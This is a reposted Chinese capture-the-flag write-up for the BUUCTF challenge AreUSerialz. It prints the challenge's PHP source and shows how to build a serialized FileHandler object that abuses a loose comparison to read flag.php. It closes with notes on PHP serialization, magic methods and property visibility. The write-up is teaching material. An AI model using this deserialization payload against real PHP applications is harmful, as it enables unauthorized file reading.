BUUCTF复现[网鼎杯 2020 青龙组]AreUSerialz

解题思路

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {
    
    

    protected $op;   //%00*%00属性名
    protected $filename;
    protected $content;

    function __construct() {
    
     //该方法在创建对象时自动调用
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
    
      //如果op=1调用write函数,若op=2,调用read函数,否则输出Bad Hacker!
        if($this->op == "1") {
    
      
            $this->write();
        } else if($this->op == "2") {
    
    
            $res = $this->read();
            $this->output($res);
        } else {
    
    
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
    
    
        if(isset($this->filename) && isset($this->content)) {
    
    
            if(strlen((string)$this->content) > 100) {
    
    
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
    
    
            $this->output("Failed!");
        }
    }

    private function read() {
    
    
        $res = "";
        if(isset($this->filename)) {
    
    
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
    
    
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
    
     //该方法在销毁对象时使用,会调用两次,一次是实例化之后的对象,一次是反序列化后生成的对象
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}   

function is_valid($s) {
    
    
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{
    
    'str'})) {
    
    

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
    
    
        $obj = unserialize($str);
    }

}//传入一个str,然后利用is_valid函数判断输入的字符串ascii数值是否在32到125之间,接着对输入的字符串进行反序列化

分析一下源代码,看到了有unserialize()函数,这道题坑定是PHP反序列化无疑了。

首先从程序的入口来看:

if(isset($_GET{
    
    'str'})) {
    
    

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
    
    
        $obj = unserialize($str);
    }

}

GET方式传入一个str,然后利用is_valid函数判断输入的字符串ascii数值是否在32到125之间,接着对输入的字符串进行反序列化。(对于PHP反序列化不懂的同学可以先看一下文末)

function __destruct() {
    
     
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

这里是对op进行判断,如果op=2那么将op改为1,否则执行process方法。

public function process() {
    
      
    if($this->op == "1") {
    
      
        $this->write();
    } else if($this->op == "2") {
    
    
        $res = $this->read();
        $this->output($res);
    } else {
    
    
        $this->output("Bad Hacker!");
    }
}

process方法在op等于2时,读取filename文件的内容并输出。这里还考察了=====的区别,一个是强类型比较,一个是弱类型比较。我们可以令op=2,这里的2是整数int类型,op=2时,op==="2"为false,op=="2"为true

接着可以写一个对象构造序列化,然后传入str,就可以得到flag了

<?php
 
class FileHandler {
    
    
 
    public $op = 2;
    public  $filename = "flag.php";
    public  $content = "oavinci";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
O:11:"FileHandler":3:{
    
    s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}

在这里插入图片描述

下面了解一下PHP的序列化和反序列化:

序列化:

PHP 的序列化是一个将各种类型的数据,压缩并按照一定格式存储的过程,它所使用的函数是serialize()

<?php

class FileHandler {
    
    

    public $ab=2;  
    public $cd="flag.php";
    public $efg="hello";
}

$a=new FileHandler();
$b=serialize($a);
echo $b;

序列化后的输出如下:

O:11:"FileHandler":3:{
    
    s:2:"ab";i:2;s:2:"cd";s:8:"flag.php";s:3:"efg";s:5:"hello";}

反序列化

反序列化就是将压缩格式化的字符串还原。

魔术方法

接着了解一下PHP里边的几个魔术方法

(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)(2)wakeup()unserialize()时会自动调用
(3)destruct():当对象被销毁时会自动调用。会调用两次,一次是实例化之后的对象,一次是反序列化后生成的对象
(4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)get() :当从不可访问的属性读取数据
(6)call(): 在对象上下文中调用不可访问的方法时触发
(7)sleep():serialize()之前自动调用

属性的权限

这里有个很重要的知识点:

<?php
 
class FileHandler {
    
    
 
    public $op = 2;
    private  $oa = "123";
    protected  $ob = "456";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;

序列化后的结果如下:

O:11:"FileHandler":3:{
    
    s:2:"op";i:2;s:15:"FileHandleroa";s:3:"123";s:5:"*ob";s:3:"456";}

我们会发现里边的属性名明明是oa 但序列化后的结果却是FileHandleroa,并且他的长度明明是13,但序列化后的结果却是15;属性名明明是ob,但学历恶化厚的结果却是*ob,长度也变成了5。

这里就涉及到PHP的属性访问权限了,序列化为了能把整个类对象的各种信息完完整整的压缩,格式化,必然也会将属性的权限序列化进去,我们发现我定义的类的属性有三种 private protected 和 默认的 public(写不写都一样)

  • Puiblic 权限

他的序列化规规矩矩,按照我们常规的思路,该是几个字符就是几个字符。

  • Private 权限

该权限是私有权限,也就是说只能 FileHandler类使用,于是在序列化的时候一定要在 private 属性前面加上自己的名字,向世界表明这个属性是我独自占有的,但是好像长度还是不对,还少了两个,这是因为private权限的属性在序列话的时候会在属性名的前面加上类的名字,并在类的前后加上两个空白符,就是这样:%00类名%00属性名

  • Protected 权限
    Protected 权限序列化后的格式是:%00*%00属性名

猜你喜欢

转载自blog.csdn.net/weixin_43749601/article/details/109406794